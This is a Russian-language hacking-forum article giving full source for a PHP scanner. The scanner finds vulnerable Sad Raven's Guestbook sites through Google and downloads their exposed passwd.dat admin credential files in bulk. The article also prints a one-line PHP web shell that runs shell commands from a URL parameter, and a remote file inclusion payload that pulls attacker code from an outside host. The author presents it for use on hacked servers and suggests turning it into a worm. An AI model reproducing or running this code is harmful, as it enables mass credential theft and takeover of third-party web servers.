• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Пишем google-сканнер на PHP своими руками

XSSBot

Форумный бот
Пользователь
Регистрация
31.12.2005
Сообщения
1 473
Реакции
898
Здравствуйте, я хочу Вам рассказать, как можно самому сделать гугл-сканнер на php. Написать эту статью я решил потому, что не видел в нете ничего подобного.
Если кто видел что-нибудь похожее, сообщите об этом мне.
"Почему именно на php?", - спросите Вы. Да потому что этот скрипт можно
будет залить на любой взломанный сервак и выполнить там. Да и вообще я считаю,
что будущее за php.
Во-первых, давайте разберемся, что конкретно мы хотим сделать.

1) из результатов поиска (бажного скрипта, например) нам нужно выдрать все ссылки
и записать их в файл/ вывести на экран (хотя бы в целях отладки);
2) затем нам нужно качественно отфильтровать левые ссылки - это, на мой взгляд,
самое сложное;
3) далее нужно пройтись по каждой отфильтрованной ссылке по отдельности и
попробовать применить эксплоит;
4) если он сработал, то пишем это это в лог.

В качестве скрипта для своих экспериментов я взял Sad Raven's Guestbook. В
самой гостевой книге багов мною найдено не было, но проблема в том, что админские
логин и md5-хэш пароля она хранит в файле "passwd.dat" и достаточно часто к нему
забывают запретить доступ. А через админ. центр в разделе "дизайн" можно сделать
себе простенький веб-шелл вроде этого:

Код:
<?php
if (isset($_GET['c'])) // это чтобы не было вывода warning, когда нет команды
{
 echo "<pre>\r\n";
 system($_GET['c']);
 echo "</pre>\r\n";
}
?>

Ну что ж, приступим =)

=======begin PhpGoogleScanner.php source code=======
Код:
<html>
<META HTTP-EQUIV=Content-Type CONTENT=text/html; charset='windows-1251'>
<title>PhpGoogleScanner v0.8 Ready</title>
<body bgcolor="gray">
<pre><font face="Fixedsys">
<?php
// PhpGoogleScanner v0.8 by Sad     icq 2257763
// Gr33tz 2 dinggo, virus & all ex-USSR undergr00nd

if (isset($_GET['host'])) $host = $_GET['host'];
else $host = 'www.google.com'; // поисковый сервер
if (isset($_GET['path'])) $path = $_GET['path'];
else $path = '/'; // путь к скрипту поиска
if (isset($_GET['script_name'])) $script_name = $_GET['script_name'];
else $script_name = 'index.php'; // имя файла бажного скрипта
if (isset($_GET['query'])) $query = $_GET['query'];
else $query = 'search?q=allintitle:s+r+guestbook+v1.3&num=100&hl=en'; // запрос
$SPLOIT_STRING = 'passwd.dat'; // самое главное - эксплоит

function grab_links($host, $path, $html_source) // эта функция выдирает все ссылки
{
 global $log, $links;
 $log = fopen("goodebug.txt", "ab+"); // откроем файл для записи логов
 // Регулярное выражение для поиска всех ссылок
 preg_match_all("#<a.*?href=\"?'?([^\s\"'>]+)\"?'?.*?>(.*?)</a>#is", $html_source, $links);
 for ($i=0; $i<count($links[1]); $i++)
 {
  // сделаем из относительных ссылок абсолютные
  if (strpos($links[1][$i],"http") === false) $links[1][$i] = 'http://'.$host.$path.$links[1][$i];
  echo $links[1][$i]."\r\n";
  fputs($log, $links[1][$i]."\r\n"); // пишем все нефильтрованные ссылки в лог - на всякий случай, а вдруг у нас фильтр через жопу написан? =)
 }
 echo "\r\n";
}

$socket = fsockopen($host, 80); // коннектимся...
if (!$socket)
{
 echo "Unable to connect to target server <b>\"$host\"</b>\r\n";
 die("Socket Error =("); // коннекта нету =(
}
else
{ // формируем GET запрос к веб-серверу
 $GET_query =
 "GET ".$path.$query." HTTP/1.1\r\n".
 "Accept: */*\r\n".
 "Accept-Language: en\r\n".
 "User-Agent: Sad Internet Spider v1.0\r\n".
 "Host: $host\r\n".
 "Connection: Close\r\n\r\n";
 fputs($socket, $GET_query);
 while (!feof($socket))
 {
  $html_source .= fgets($socket, 256); // получаем данные из сокета
 }
 grab_links($host, $path, $html_source); // выдираем ссылки

 for ($i=0; $i<count($links[1]); $i++) // проходим все ссылки и обрабатываем их
 {
  if ((strpos($links[1][$i],"search") === false) && (strpos($links[1][$i], 'google') === false))
  { // фильтруем левые ссылки
   $good_link = substr($links[1][$i], 0, strpos($links[1][$i], $script_name));
   if ($good_link)
   { // нашли "хорошую" ссылку
    fputs($log, "Good link: ".$good_link."\r\n"); // запишем-ка мы ее в лог
    $file = @fopen($good_link.$SPLOIT_STRING, "rb"); // пытаемся слить файл
    if (!$file) fputs($log, "Cannot open file: ".$good_link.$SPLOIT_STRING."\r\n"); // облом =(
    else
    { // успешно открыли файл
     fputs($log, "File ".$good_link.$SPLOIT_STRING." successfully opened.\r\n");
     while (!feof($file))
     {
      $result .= fgets($file, 256); // долгожданный результат =)
     }
     if (strpos($result, 'Password') === false) // если пассов нет
     {
      echo "\r\nСкорее всего по адресу ".$good_link.$SPLOIT_STRING." пассов нет =(\r\n";
      unset($result);
     }
     else
     { // если все путем
      echo "\r\nFile from ".$good_link.":\r\n".htmlspecialchars($result)."\r\n";
      fputs(fopen("goolog.txt", "ab+"), "\r\nFile from ".$good_link.":\r\n".$result."\r\n");
      unset($result);
     }
    } // обработали файл
   } // конец обработки "хорошей" ссылки
  } // конец фильтра левых ссылок
 } // конец обработки всех ссылок

}
?>
</font></pre></body></html>
=======end of PhpGoogleScanner.php source code=======

Эксплоит для скриптов с include-багом мог бы выглядеть следующим образом:
buggy_script.php?page=http://www.evilcode.org/c.txt?c=pwd;id;other_commands_here
Конечно это сработает только при allow_url_fopen = 1.
Также можно подправить сканнер, чтобы он искал и эксплуатировал уязвимости типа sql-injection.
А если очень постараться, то доработав этот исходник можно сделать и какого-нибудь злого червя >=)
В общем много чего еще можно придумать, лишь бы фантазии и знаний хватило.
Пока это все, удачи.

SAD ICQ: icq 2257763
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх